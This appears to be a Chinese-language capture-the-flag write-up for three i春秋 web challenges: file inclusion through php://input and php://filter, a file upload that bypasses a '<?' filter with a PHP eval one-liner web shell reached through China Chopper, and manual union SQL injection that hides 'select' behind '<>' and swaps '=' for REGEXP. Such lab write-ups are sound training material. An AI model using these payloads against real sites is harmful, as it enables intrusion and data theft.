i春秋 web（2）

include

upload

 SQL

 

include

首先是一段代码

 

 提示说是文件包含查找一下allow_url_include,是打开的，那我们就可以用php://input

 

 我先用先用system执行ls命令查看下目录

 

 然后用php://filter来读取文件

 

 就会有一串base64

 

 解码得到flag

upload

首先看的是上传文件的界面，说是可以上传任意文件，那就先上传一句话咯，在我上传之后，点击上传成功就能查看上传的文件，

 

 

 

发现我的一句话的<?被过滤了，首先可以想到绕过，所以，网上可以找一个合适的一句话再次上传试试

<script language="pHp">@eval($_POST['sb'])</script>

 上传之后点击上传成功查看没有内容，应该是被解析了，所以用菜刀连接

 

 

 

 

 

 SQL

对于这个题提示说是注入，我们就尝试注入，我比较笨，试了好多都没有试出来，百度了大佬的wp才发现，他是过滤了select、和=，

而且，一般绕过方式不行，得用<>绕过，长知识啊，然后就开始手工union注入，因为=也被过滤了，所以用REGEXP代替

首先查看显示位

 

 然后获取数据库：?id=1 union se<>lect 1,(sel<>ect(database()) ),3

 

 然后获取表，?id=1 union se<>lect 1,(sel<>ect(group_concat(table_name))from information_schema.tables where table_schema REGEXP 'sqli'),3

 

 

 然后获取字段名：?id=1 union se<>lect 1,(sel<>ect(group_concat(column_name))from information_schema.columns where table_name REGEXP 'info'),3

 

 

 然后获取字段内容：?id=1 union se<>lect 1,(sel<>ect(group_concat(flAg_T5ZNdrm))from info ),3